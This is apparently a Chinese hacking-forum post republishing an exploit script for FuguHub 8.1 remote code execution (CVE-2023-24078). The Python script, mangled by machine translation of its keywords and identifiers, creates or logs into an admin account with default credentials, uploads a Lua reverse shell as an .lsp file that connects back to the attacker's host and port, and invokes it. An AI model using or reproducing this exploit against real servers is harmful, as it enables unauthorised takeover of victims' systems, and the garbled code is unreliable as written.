H

Fuguhub 8.1-远程代码执行

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用title: fuguhub 8.1-远程代码执行
#日期: 6/24/2023
#利用作者: Redfire359
#供应商homepage: https://fuguhub.com/
#软件link: https://fuguhub.com/download.lsp
#版本: 8.1
#测试在: Ubuntu 22.04.1
#CVE : CVE-2023-24078
导入请求
来自BS4进口美丽的小组
导入哈希布
从随机导入randint
来自urllib3 import encode_multipart_formdata
从urllib3.ceptions导入Insecurreequestwarning
导入argparse
从Colorama进口
requests.packages.urllib3.disable_warnings(category=insecureRequestWarning)
#用于用户注册的选项,如果尚未创建用户
用户名='admin'
密码='密码'
电子邮件='[email protected]'
Parser=argparse.argumentparser()
parser.add_argument(' - r',' - rhost',help='受害者ip/url(省略http://)',必需=true)
parser.add_argument(' - rp',' - rport',help='http端口[默认80]')
parser.add_argument(' - l',' - lhost',help='your ip',必需=true)
parser.add_argument(' - p',' - lport',help='端口您有侦听器',quilt oilder=true)
args=parser.parse_args()
lhost=args.lhost
lport=args.lport
url=args.rhost
如果args.rport!=none:
端口=args.rport
其他:
端口=80
def main():
checkAccount()
def checkAccount():
打印(f'{fore.yellow} [*] {fore.white}检查管理用户.')
s=requests.session()
#转到“设置管理”页面.如果页面包含“已经保存的用户数据库”,则已经有admin Creds,我们将尝试使用Creds登录,否则我们将手动创建一个帐户
r=s.get(f'http://{url} : {port}/config-wizard/wizard/wizard/setadmin.lsp')
汤=美丽的套件(r.content,'html.parser')
搜索=汤.find('H1')
如果r.status_code==404:
打印(Fore.Red +'[!]' + Fore.White +'页面找不到!检查以下: \ n \ ttaget IP \ n \ ttarget端口')
出口(0)
userexists=false
USERTEXT='已经保存的用户数据库'
对于我在搜索:中
如果i.string==usertext:
userexists=true
如果userexists:
print(f'{fore.green} [+] {fore.white}管理用户确实存在.')
登录(R,S)
其他:
print('{fore.green} [+] {fore.white}尚无管理用户,使用{username} : {password}')创建帐户
创建器(R,S)
登录(R,S)
def createuser(r,s):
数据={电子邮件:电子邮件,
“用户” :用户名,
“密码” :密码,
'reconionPassword':'on'}
r=s.post(f'http://{url} : {port}/config-wizard/wizard/wizard/setadmin.lsp',data=data)
print(f'{fore.green} [+] {fore.white}用户创建!')
DEF登录(R,S):
print(f'{fore.green} [+] {fore.white}登录.')
data={'ba_username':用户名,'ba_password':密码}
r=s.post(f'https://{url} :443/rtl/preected/wfslinks.lsp',data=data=data,verify=false=false)#切换到https的脚本更容易脚本holz
#均匀登录
login_success_title='Web-File-Server'
汤=美丽的套件(r.content,'html.parser')
搜索=汤.find('title')
对于我在搜索:中
如果我!=login_success_title:
print(f'{fore.red} [!] {fore.white}错误!我们被发送回登录页面.')
出口(0)
打印(f'{fore.green} [+] {fore.white}成功!查找有效的文件服务器链接.')
利用(R,S)
DEF漏洞利用(R,S):
#找到文件服务器,默认为FS
r=s.get(f'https://{url} :443/fs/cmsdocs/')
代码=r.status_code
如果代码==404:
打印(f'{fore.red} [!] {fore.white}找不到文件服务器。')
出口(0)
print(f'{fore.green} [+] {fore.white} code: {code},找到有效的文件服务器,上传rev shell')
#如果您愿意,请更改外壳,当测试时,我对Lua Rev Shell代码的好运是最好的
shell=f'local主机,port='{lhost}',{lport} \ nlocal socket=require('socket')\ nlocal tcp=socke.tcp()\ nlocal ioo=require require('io''''' \ n true做本地cmd,状态,部分=tcp:receive()本地f=io.popen(cmd,'r')本地s=f:Read('*a'')f:close('*a')f:close('*a')
file_content=f'''
H2检查您在H2中放置的端口上的NC侦听器

?lsp
{壳}

lsp还有吗?
错误的请求方法,再见!
lsp end?
'''
files={'file':('rev.lsp',file_content,'application/ocket-stream')}}
r=s.post(f'https://{url} :443/fs/cmsdocs/',files=files)
如果r.text=='ok':
print(f'{fore.green} [+] {fore.white}成功上传,调用shell')
r=s.get(f'https://{url} :443/rev.lsp')
如果名称=='__ Main __':
TRY:
主要的()
Except:
print(f'\ n {fore.yellow} [*] {fore.white} bye!\ n \ n **所有冰雹w4rf4ther!')
 
后退
顶部